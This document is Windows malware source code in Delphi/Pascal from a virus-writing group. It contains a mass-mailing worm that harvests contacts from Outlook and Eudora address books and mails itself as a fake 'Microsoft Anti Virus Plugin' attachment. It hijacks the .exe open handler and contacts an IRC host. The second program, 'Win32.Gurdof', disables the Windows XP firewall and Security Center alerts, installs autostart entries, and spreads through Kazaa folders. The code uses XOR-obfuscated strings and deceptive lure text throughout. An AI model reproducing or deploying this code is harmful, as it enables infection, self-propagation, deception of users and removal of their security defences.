= class(TObject) procedure base64(var hFile: File; var sLine: string; var More: boolean); procedure start; procedure send; procedure scanmail; procedure scanmail2; procedure fileini; procedure MyHwndProc(var msg:TMessage); end; type TLookup = array [0..64] of Char; const SocketMessage = WM_USER+108; const Base64Out: TLookup = ( 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', '=' ); var WSM : TWSAData; myhwnd2:THandle; MySocket2: TSocket; MyName2 : TSockAddr; MyAddr2 : TInAddr; res2 : word; buffer2,host2: string; procedure TSpam.MyHwndProc(var msg:TMessage); begin //FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessage then begin if msg.LParamLo = FD_CLOSE then begin closesocket(mysocket2); end; // if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); if msg.LParamLo = FD_READ then begin res2:=Recv(MySocket2,Buffer2,sizeof(Buffer2),0); if res2=-1 then begin // S:='Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket2); WSACleanup; end; //writeln(buffer2); end; end; end; procedure TSpam.Base64(var hFile: File; var sLine: string; var More: boolean); var Count : integer; DataIn : array [0..2] of byte; DataOut : array [0..80] of byte; ByteCount : integer; i : integer; // hfile:file; // sline:string; begin Count := 0; {$I-} while not Eof(hFile) do begin {$I+} BlockRead(hFile, DataIn, 3, ByteCount); DataOut[Count] := (DataIn[0] and $FC) shr 2; DataOut[Count + 1] := (DataIn[0] and $03) shl 4; if ByteCount > 1 then begin DataOut[Count + 1] := DataOut[Count + 1] + (DataIn[1] and $F0) shr 4; DataOut[Count + 2] := (DataIn[1] and $0F) shl 2; if ByteCount > 2 then begin DataOut[Count + 2] := DataOut[Count + 2] + (DataIn[2] and $C0) shr 6; DataOut[Count + 3] := (DataIn[2] and $3F); end else begin DataOut[Count + 3] := $40; end; end else begin DataOut[Count + 2] := $40; DataOut[Count + 3] := $40; end; for i := 0 to 3 do DataOut[Count + i] := Byte(Base64Out[DataOut[Count + i]]); Count := Count + 4; if Count > 59 then break; end; DataOut[Count] := $0; sLine := StrPas(@DataOut[0]); {$I-} More := not Eof(hFile); {$I+} end; procedure TSpam.start; var i:TRegistry; ss:string; begin //writeln('START'); if fileexists(systemdir+'\outlook.ini') then begin send; exit; end; Filemode:=2; assignfile(ttt,systemdir+'\outlook.ini'); rewrite(ttt); append(ttt); //memo1.clear; writeln(ttt,'[OUTL]'); i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.OpenKey('Software\Microsoft\WAB\WAB4\Wab File Name',true); //memo1.lines.add(i.ReadString('')); outlook:=i.ReadString(''); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager',true); ss:=i.ReadString('Default Mail Account'); //memo1.lines.add('Mail account: '+s); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true); if i.ReadString('SMTP Server')='' then writeln(ttt,'[SERV]'+'mail.'+crypt('bmntpubzo')+'.com') else //compuserve writeln(ttt,'[SERV]'+i.ReadString('SMTP Server')); i.Free; i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.openkey('Software\Microsoft\Internet Account Manager\Accounts\'+ss,true); if i.ReadString('SMTP Port')='' then writeln(ttt,'[PORT]'+'25') else writeln(ttt,'[PORT]'+i.ReadString('SMTP Port')); i.Free; ScanMail; writeln(ttt,'[EUDO]'); i:=tregistry.Create; i.RootKey:=HKEY_CURRENT_USER; i.OpenKey('Software\Qualcomm\Eudora\CommandLine',true); ss:=i.ReadString('Current'); delete(ss,pos('.',ss)-6,length(ss)); eudora:=ss; i.Free; fileini; ScanMail2; closefile(ttt); send; end; procedure TSpam.send; var day,month,i:integer; s:string; ff:file of char; c:char; zday,zmonth,slav,user,serv,zport:string; sock:TSock; SystemTime:TSystemTime; w:longint; hfile:file; sline:string; more:boolean; FMimeBoundary,filename:string; begin if not fileexists(systemdir+'\outlook.ini') then exit; sleep(1200000); // 20 min Filemode:=2; assignfile(ff,systemdir+'\outlook.ini'); reset(ff); i:=0; s:=''; WSAStartup($101,WSM); repeat i:=filepos(ff); blockread(ff,c,sizeof(c)); s:=s+c; if c=#10 then begin if copy(s,1,6)='[KILL]' then begin closefile(ff); exit; end; if copy(s,1,6)='[SERV]' then serv:=copy(s,7,pos(#13,s)-7); if copy(s,1,6)='[PORT]' then zport:=copy(s,7,pos(#13,s)-7); if copy(s,1,6)='[EUDO]' then zport:='25'; if copy(s,1,6)='[USER]' then begin user:=copy(s,7,pos(#13,s)-7); end; if copy(s,1,6)='[SLAV]' then begin seek(ff,i-length(s)+1); blockwrite(ff,'[FUCK]',sizeof('[FUCK]')); slav:=copy(s,7,pos(#13,s)-7); //memo1.lines.add(serv+' : '+port+' : '+user+' : '+slav); writeln(serv+' : '+zport+' : '+user+' : '+slav); sleep(20000); w:=lookup_hostname(serv); host2:=ip2string(w); //host2:='127.0.0.1'; MySocket2:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr2.S_addr:=Inet_Addr(@Host2[1]); MyName2.sin_family:=PF_INET; MyName2.sin_port:=htons(strtoint(zport)); //port to connect MyName2.sin_addr:=MyAddr2; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res2:=connect(MySocket2,MyName2,sizeof(MyName2)); if res2<>0 then begin // S:='Suck Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket2); WSACleanup; exit; end; myhwnd2 := AllocateHwnd(MyHWndProc); WSAAsyncSelect(MySocket2, myhwnd2, SocketMessage, FD_READ OR FD_WRITE OR FD_CLOSE ); FileName:=paramstr(0); //FileName:='c:\temp\hmm.sep'; with systemtime do begin wYear:= wYear; wMonth:=wMonth; wDayOfWeek:= wDayOfWeek; wDay:=wDay; wHour:= wHour; wMinute:= wMinute; wSecond:= wSecond; wMilliseconds:= wMilliseconds; end; getsystemtime(SystemTime); FMimeBoundary := '=Multipart Boundary '+ //FormatDateTime('mmddyyhhnn', Now); inttostr(systemtime.wMonth)+inttostr(systemtime.wDay)+inttostr(systemtime.wYear)+inttostr(systemtime.wHour)+inttostr(systemtime.wMinute); //writeln('let''s rock'); sock.WriteString(MySocket2,pchar('HELO '+serv+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('MAIL FROM: '+user+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('RCPT TO: '+slav+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('DATA'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('From: '+user+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('To: '+slav+#13+#10)); sleep(timeout+10); //sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10)); sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10)); randomize; day:=systemtime.wDayOfWeek; case day of 0: zday:='Sun'; 1: zday:='Mon'; 2: zday:='Tue'; 3: zday:='Wed'; 4: zday:='Thu'; 5: zday:='Fri'; 6: zday:='Sat'; end; month:=systemtime.wMonth; case month of 1: zmonth:='Jan'; 2: zmonth:='Feb'; 3: zmonth:='Mar'; 4: zmonth:='Apr'; 5: zmonth:='May'; 6: zmonth:='Jun'; 7: zmonth:='Jul'; 8: zmonth:='Aug'; 9: zmonth:='Sep'; 10: zmonth:='Oct'; 11: zmonth:='Nov'; 12: zmonth:='Dec'; end; sleep(timeout+10); sock.WriteString(MySocket2,pchar('Date: '+zday+', '+inttostr(systemtime.wDay)+' '+zmonth+ ' '+inttostr(systemtime.wYear)+' '+inttostr(systemtime.wHour)+':'+inttostr(systemtime.wMinute)+':'+inttostr(systemtime.wSecond)+' +0000'+#13+#10)); //Date: Fri, 27 Dec 2002 16:46:11 +0000 sleep(timeout+10); sock.WriteString(MySocket2,pchar('Mime-Version: 1.0'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'multipart/mixed' + '; boundary="' +FmimeBoundary+ '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'text/plain' + '; charset="' +'iso-8859-1' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: quoted-printable'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Test your computer today and foward this Email.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Free service (for win95/98/Me/NT/2000/Xp).'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('___________________________________________________________'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('TrendMicro has scanned this mail for viruses, vandals'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('and suspicious attachments and has found it to be CLEAN.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(' '+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('File: MSPlug-in.exe data (32,768 bytes)'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Encoding: Base64'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Result: Clean.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Type: ' + 'application/octet-stream' + ';'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(#9+'name="' + 'MSPlug-in.exe' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: base64'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('Content-Disposition: attachment;'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(#9+'filename="' + 'MSPlug-in.exe' + '"'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar(''+#13+#10)); sleep(timeout+10); AssignFile(hFile,filename); FileMode := 0; Reset(hFile, 1); repeat BASE64(hfile, sLine, More); if sline<>'' then sock.WriteString(MySocket2,pchar(sline+#13+#10)); sleep(timeout); until sline=''; more:=true; closefile(hfile); sleep(timeout+10); sock.WriteString(MySocket2,pchar('--' + FMimeBoundary + '--'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('.'+#13+#10)); sleep(timeout+10); sock.WriteString(MySocket2,pchar('QUIT'+#13+#10)); sleep(timeout+10); closesocket(mysocket2); //writeln('All done.'); end; s:=''; end; until eof(ff); seek(ff,0); blockwrite(ff,'[KILL] ',sizeof('[KILL] ')); closefile(ff); //writeln('DEAD'); if TerminateThread(ThreadHdle3, ExitCode3) then begin closefile(ff); closesocket(mysocket2); WSACleanup; exit;end; WSACleanup; end; procedure TSpam.ScanMail2; var i,yyyy,yyy,yy,count,NumRead: integer; poss,poss2,poss3:longint; bufffT,Bufff,bufff2: Char; tof:textfile; a,b,c,d,e,f,g,thepoint:boolean; From:file; x,y,z:byte; pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string; begin a:=false; b:=false; c:=false; d:=false; //special e:=false; f:=false; g:=false; thepoint:=false; count:=0; poss:=0; //if eudora+'NNDBASE.TXT'='' then begin writeln('No Eudora File found'); exit; end; if fileexists(eudora+'NNDBASE.TXT') then begin filemode:=0; Assignfile(From,eudora+'NNDBASE.TXT'); Reset(From, 1); yy:=filesize(from); end else begin //writeln('I can''t open the file...'); exit; end; repeat //processmessages; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end; if a=true then begin poss:=poss-1; repeat poss:=poss-1; count:=count+1; if poss>0 then seek(From,poss) else begin c:=true; g:=true; end; //memo1.Lines.add(inttostr(poss)); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '.' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if count=26 then begin b:=true; g:=true;end; if b=true then if count<4 then begin c:=true; g:=true; end else c:=true; until c=true; // memo1.Lines.add('1:'+inttostr(poss)+' 2:'+inttostr(poss2)); poss3:=poss; b:=false; c:=false; count:=0; poss2:=poss2-1; repeat poss2:=poss2+1; count:=count+1; seek(From,poss2); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if thepoint<>true then g:=true; if count=60 then begin c:=true; g:=true;end; if b=true then if count<2 then begin c:=true; g:=true; end else c:=true; until c=true; c:=false; b:=false; a:=false; count:=0; s:=''; poss:=poss+1; e:=true; repeat //filtre seek(From,poss); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); poss:=poss+1; if e=true then if (bufff='@') or (bufff='.') then begin g:=true; e:=false; end else e:=false; f:=true; seek(From,poss); BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead); seek(From,poss-1); if bufff='@' then if bufff2='.' then g:=true; if bufff='.' then if bufff2='@' then g:=true; if bufff='.' then if bufff2='.' then g:=true; s:=s+bufff; until poss=poss2; if s='@' then g:=true; repeat p2:=s; delete(p2,1,length(p2)-3); pp1:=p2; pp2:=p2; delete(p2,2,length(p2)); if p2='.' then begin x:=9; delete(pp1,1,1); delete(pp1,3,3); if pp1[1] in ['0'..'9'] then x:=5; if pp1[1] = '_' then x:=5; if pp1[1] = '-' then x:=5; if pp1[1] = '.' then x:=5; delete(pp2,1,2); if pp2[1] in ['0'..'9'] then x:=5; if pp2[1] = '_' then x:=5; if pp2[1] = '-' then x:=5; if pp2[1] = '.' then x:=5; end else x:=5; p1:=s; delete(p1,1,length(p1)-4); if p1='.org' then y:=9 else if p1='.com' then y:=9 else if p1='.mil' then y:=9 else if p1='.gov' then y:=9 else if p1='.int' then y:=9 else if p1='.edu' then y:=9 else if p1='.net' then y:=9 else y:=5; if x=y then begin g:=true; x:=6; end; if x<>y then begin x:=6; end; s:=s; until x=6; if s=s2 then f:=false; //same if (length(s)<6) then f:=false; if f=true then writeln(ttt,'[SLAV]'+s); s2:=s; seek(From,poss2); f:=false; g:=false; end; e:=false; //processmessages; until numread=0; Closefile(From); d:=false; exit; processmessages; end; procedure TSpam.ScanMail; var i,yyyy,yyy,yy,count,NumRead: integer; poss,poss2,poss3:longint; bufffT,Bufff,bufff2: Char; tof:textfile; a,b,c,d,e,f,g,thepoint:boolean; From:file; x,y,z:byte; pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string; begin a:=false; b:=false; c:=false; d:=false; //special e:=false; f:=false; g:=false; thepoint:=false; count:=0; poss:=0; if outlook='' then begin //writeln('No WAB File found'); exit; end; filemode:=0; if fileexists(outlook) then begin Assignfile(From,outlook); Reset(From, 1); yy:=filesize(from); end else begin //writeln('I can''t open the file...'); exit; end; seek(from,80000); repeat //processmessages; bufffT:=bufff; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if (bufff=':') and (bufffT='U') then d:=true; if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end; if a=true then begin poss:=poss-1; repeat poss:=poss-1; count:=count+1; if poss>0 then seek(From,poss) else begin c:=true; g:=true; end; BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '.' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if count=26 then begin b:=true; g:=true;end; if b=true then if count<4 then begin c:=true; g:=true; end else c:=true; until c=true; poss3:=poss; b:=false; c:=false; count:=0; poss2:=poss2-1; repeat poss2:=poss2+1; count:=count+1; seek(From,poss2); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else if bufff = '-' then {memo1.Lines.add(bufff)} else if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true; if thepoint<>true then g:=true; if count=60 then begin c:=true; g:=true;end; if b=true then if count<2 then begin c:=true; g:=true; end else c:=true; until c=true; c:=false; b:=false; a:=false; count:=0; s:=''; poss:=poss+1; e:=true; repeat //filtre seek(From,poss); BlockRead(From, Bufff, SizeOf(Bufff), NumRead); poss:=poss+1; if e=true then if (bufff='@') or (bufff='.') then begin g:=true; e:=false; end else e:=false; f:=true; seek(From,poss); BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead); seek(From,poss-1); if bufff='@' then if bufff2='.' then g:=true; if bufff='.' then if bufff2='@' then g:=true; if bufff='.' then if bufff2='.' then g:=true; s:=s+bufff; until poss=poss2; if s='@' then g:=true; repeat p2:=s; delete(p2,1,length(p2)-3); pp1:=p2; pp2:=p2; delete(p2,2,length(p2)); if p2='.' then begin x:=9; delete(pp1,1,1); delete(pp1,3,3); if pp1[1] in ['0'..'9'] then x:=5; if pp1[1] = '_' then x:=5; if pp1[1] = '-' then x:=5; if pp1[1] = '.' then x:=5; delete(pp2,1,2); if pp2[1] in ['0'..'9'] then x:=5; if pp2[1] = '_' then x:=5; if pp2[1] = '-' then x:=5; if pp2[1] = '.' then x:=5; end else x:=5; p1:=s; delete(p1,1,length(p1)-4); if p1='.org' then y:=9 else if p1='.com' then y:=9 else if p1='.mil' then y:=9 else if p1='.gov' then y:=9 else if p1='.int' then y:=9 else if p1='.edu' then y:=9 else if p1='.net' then y:=9 else y:=5; if x=y then begin g:=true; x:=6; end; if x<>y then begin x:=6; end; s:=s; until x=6; if (length(s)<6) then f:=false; if d=true then begin s:='[USER]'+s; d:=false; end else s:='[SLAV]'+s; if f=true then writeln(ttt,s); s2:=s; seek(From,poss2); f:=false; g:=false; end; e:=false; //processmessages; until numread=0; Closefile(From); exit; d:=false; processmessages; end; procedure TSpam.fileini; const log = 'ReturnAddress='; log2 = 'SMTPServer='; var tt:textfile; s,s2:string; begin if not fileexists(eudora+'EUDORA.INI') then begin {form1.memo1.lines.add('no files exist');} exit; end; assignfile(tt,eudora+'EUDORA.INI'); reset(tt); s2:='_'; repeat readln(tt,s); s2:=s; s:=copy(s2,1,length(log)); if s=log then begin s:=copy(s2,length(log)+1,length(s2)); writeln(ttt,'[USER]'+s); end; s:=copy(s2,1,length(log2)); if s=log2 then begin s:=copy(s2,length(log2)+1,length(s2)); if s='' then writeln(ttt,'[SERV]'+crypt('lcjh+eheyxixj>r}~')) else writeln(ttt,'[SERV]'+s); end; until eof(tt); closefile(tt); exit; end; //============Thread_procedure=== procedure ThreadProc3; stdcall; var Spam:TSpam; begin sleep(90000); //writeln('SPAM'); spam.start; end; procedure ThreadProc2; stdcall; begin sleep(160000); //writeln('CONNECT IRC'); hede.server; if TerminateThread(ThreadHdle2, ExitCode2) then begin closesocket(mysocket); WSACleanup; end; end; procedure ThreadProc; stdcall; var ck1,ck2,ck3:boolean; begin ck1:=false; ck2:=false; ck3:=false; //initsocket; repeat WSACleanup; WSAStartup($101,WSD); z:=lookup_hostname(crypt('vut*hodzfydjy l|')) // z:=lookup_hostname('--'); //write(z); //write(' '+ip2string(z)+' '); if z>0 then ck1:=true else ck1:=false; if (ck1=true) and (ck2=false) then begin ck2:=true; ck3:=true; WSACleanup; initsocket; // writeln('connect'); ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //connect sleep(1000); ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection end; if (ck1=false) and (ck3=true) then begin ck3:=false; ck2:=false; ShutDownServer; WSACleanup; // writeln('disconnect'); GetExitCodeThread(ThreadHdle2, ExitCode2); TerminateThread(ThreadHdle2, ExitCode2); GetExitCodeThread(ThreadHdle3, ExitCode3); TerminateThread(ThreadHdle3, ExitCode3); end; sleep(60000); until TerminateThread(ThreadHdle, ExitCode); //z=777; ShutDownServer; end; //=== This is the MAIN PART program ======= begin scanprotection; if paramstr(0)=systemdir+crypt(']IFVKCK;;$]TI') then //\KERNEL32.VXD begin if (length(paramstr(1))>0) and (length(paramstr(2))>0) then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))=0) then winexec(PChar(paramstr(1)),SW_NORMAL); winexec(pchar(systemdir+crypt(']ifvkck&mfg')),SW_NORMAL); //\kernel.dll halt; end; if (paramstr(0)<>systemdir+crypt(']IFVKCK;;$]TI')) and (paramstr(0)<>systemdir+crypt(']IFVKCK&MFG')) then //\KERNEL32.VXD //\KERNEL.DLL begin if MessageBoxA(Handle, 'Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10+ 'Well it''s time to check if your system is ready.'+#13+#10+' '+#13#10+ 'Do you want start the Av Test ?', MB_YESNO)=IDYES then begin MessageBox(Handle,'Please wait...',MB_ICONINFORMATION); fileexists(systemdir+'\kernel32.dll'); sleep(1000); MessageBox(Handle,'Test successfull !'+#13#10+' '+#13#10+'Your system are Virus Free',MB_ICONINFORMATION); end; end; if FindWindow(lpzClassName,lpzWindowsName) <> 0 then Halt;//If start second time hInst:=GetModuleHandle(nil); with wClass do begin Style:= CS_PARENTDC; hIcon:= 0; cbClsExtra:= 0; cbWndExtra:= 0; lpfnWndProc:= @WindowProc; hInstance:= hInst; hbrBackground:= COLOR_WINDOW; lpszClassName:= lpzClassName; lpszMenuName:= NIL; hCursor:= 0; //LoadCursor(0,IDC_ARROW); end; RegisterClass(wClass); Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil); if Handle<>0 then begin UpdateWindow(Handle); ShowWindow(Handle, SW_HIDE); //SW_HIDE RegisterInService; end; copyit; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('exefile\shell\open\command',true); Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %* Registre.Free; Timeout:=70; ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online??? repeat sleep(59000); until z>0; if z>0 then klog.LogCreate; ProcessMessages; end.sources
Win32.Gurdof Hutley program gurdof; //{$APPTYPE CONSOLE} { /////////////////////////////////////////////////////////////////////// Win32.Gurdof by Hutley/RRLF This is my first virus in RRLF (Ready Rangers Liberation Front) Team. //////////////////////////////////////////////////////////////////////// What Win32.Gurdof doing: + Fuck the WinXP Firewall + Simple Function that Decode the Strings + Disable Notifications of Security Center + Infect Kazaa Program + Payload: Sort Randomly a Number Until 20, if the number be < 14 then show messages and hide the mouse icon. Comment: IS VERY SIMPLE I KNOW. I TERMINETED IT BECAUSE I GO START THE STUDY OF ASSEMBLY LANGUAGE. WAIT, COMMING SOON NEWS VIRUSES IN ASM32. Hutley / rRlf - The Psychodelic Virus Writer 24 - Feb - 2006 -*- BRAZIL! } uses Windows, Registry, SysUtils, Dialogs; const vir_name: string = 'Win32.Gurdof'; made_by: string = 'Hutley of rRlf VX Team'; var ExeName: array[0..260] of Char; start_: TRegistry; function code_(text: string; chave: integer): string; var lp1, p: integer; fuck: string; begin lp1 := strlen(pchar(text)); for p := 1 to lp1 do begin fuck := fuck + chr(ord(text[p]) xor chave) end; code_ := fuck end; function WinDir: string; begin SetLength(Result, MAX_PATH); Windows.GetWindowsDirectory(PChar(Result), MAX_PATH); Result := string(PChar(Result)) + '\'; end; function SysDir: string; begin SetLength(Result, MAX_PATH); if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then Result := string(PChar(Result)) + '\' else Result := ''; end; procedure fuck_xp_firewall; var ffw: TRegistry; begin ffw := TRegistry.Create; ffw.RootKey := HKEY_LOCAL_MACHINE; // Part 1 ffw.OpenKey(code_('Q[QVGO^AwppglvAmlvpmnQgv^Qgptkagq^QjcpgfCaagqq^Rcpcogvgpq^DkpgucnnRmnka{^FmocklRpmdkng', 2), FALSE); ffw.WriteFloat(code_('GjpbaofMlwjej`bwjlmp', 3), 1); ffw.WriteFloat(code_('AjefhaBmvasehh', 4), 0); ffw.WriteFloat(code_('@kJkpEhhksA|gatpmkjw', 5), 0); ffw.CloseKey; // Part 2 ffw.OpenKey(code_('U_URCKZEsttchrEihrtijUcrZUctpoecuZUngtcbGeecuuZVgtgkcrctuZ@otcqgjjVijoeZUrghbgtbVti`ojc', 6), false); ffw.WriteFloat(code_('La{ijdmFg|anaki|agf{', 8), 1); ffw.WriteFloat(code_('OdkhfoLcxo}kff', 10), 0); ffw.WriteFloat(code_('OdEdJggd|Nshn{bdex', 11), 0); ffw.CloseKey; // Part 3 ffw.OpenKey(code_('Xdm|jynWFbhydxdmWXnh~ybr+Hneny', 11), false); ffw.WriteFloat(code_('Kd~c\cxyNcykhfoDe~cls', 10), 1); ffw.WriteFloat(code_('O`{l~heeM`zhkelGf}`op', 9), 1); ffw.WriteFloat(code_('If|a^az}{G~mzzalm', 8), 1); ffw.WriteFloat(code_('AnubpfkkHqbuuncb', 7), 1); ffw.CloseKey; // End ffw.Free; end; procedure infect_p2p_kazaa; var kazaa: TRegistry; begin kazaa := TRegistry.Create; kazaa.RootKey := HKEY_CURRENT_USER; if kazaa.OpenKey(code_('Ui`rqgtcZMG\GGZJiegjEihrchrZ', 6), false) then begin kazaa.WriteFloat(code_('Alvdgi`Vmdwlkb', 5), 0); kazaa.WriteString(code_('@mv4', 4), WinDir); kazaa.WriteString(code_('@mv5', 4), WinDir + code_('Pkbqf', 3)); GetModuleFileNameA(0, ExeName, SizeOf(ExeName)); CreateDir(WinDir + code_('Jqxk|E', 25)); CopyFile(ExeName, PChar(WinDir + code_('G|ufqHg}g`qfKraw}zsK}zKvx{zpq:~ds:qlq', 20)), True); CopyFile(ExeName, PChar(WinDir + code_('F}tgpIwtwlJf|apgJ|{Jwpq;er;pmp', 21)), True); CopyFile(ExeName, PChar(WinDir + code_('DverKgrsxHp~e{?&"nx>Hqbt|~yp9}gp9ror', 23)), True); CopyFile(ExeName, PChar(WinDir + code_('Kpyj}DuaG{wmkqvGqvG~yuqtaG`@`6rh6}`}', 24)), True); CopyFile(ExeName, PChar(WinDir + code_('Ir{hFvixs{tiE|oyqE|oyqE|oyqE|oyq4pj}4b', 26)), True); end; kazaa.Free; end; function show_cursor(const Show: boolean): boolean; var I: integer; begin I := ShowCursor(LongBool(true)); if Show then begin Result := I >= 0; while I < 0 do begin Result := ShowCursor(LongBool(true)) >= 0; Inc(I); end; end else begin Result := I < 0; while I >= 0 do begin Result := ShowCursor(LongBool(false)) < 0; Dec(I); end; end; end; procedure my_payload; var i: integer; begin Randomize; if Random(50) <= 14 then begin for i := 1 to 10 do begin ShowMessagePos(code_('===<[INXSZ<sKrF<eSi<===', 28) + #13#13 + code_('=============Uhiqxd=2=OOQ[', 29), Random(800), Random(600)); show_cursor(false); end; end; end; begin // Install In Registry - Auto Start start_ := TRegistry.Create; start_.RootKey := HKEY_LOCAL_MACHINE; start_.OpenKey(code_(']ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}ga`R\{`', 14), true); start_.WriteString('Gurdof', code_('D[I[[[ MPM', 40)); start_.Free; // Module of Current .Exe GetModuleFileNameA(0, ExeName, SizeOf(ExeName)); // System Dir - 2 Copies of Virus CopyFile(ExeName, PChar(SysDir + code_('D[I[[[ MPM', 40)), true); CopyFile(ExeName, PChar(SysDir + code_('IEGKDN ORO', 42)), true); // Win Dir - 2 Copies of Virus CopyFile(ExeName, PChar(WinDir + code_('[EBHC[_ ITI', 44)), true); CopyFile(ExeName, PChar(WinDir + code_(']W]ZKC', 46)), true); // Desable the WinXP Firewall and Security Center fuck_xp_firewall; // Spread by Kazaa 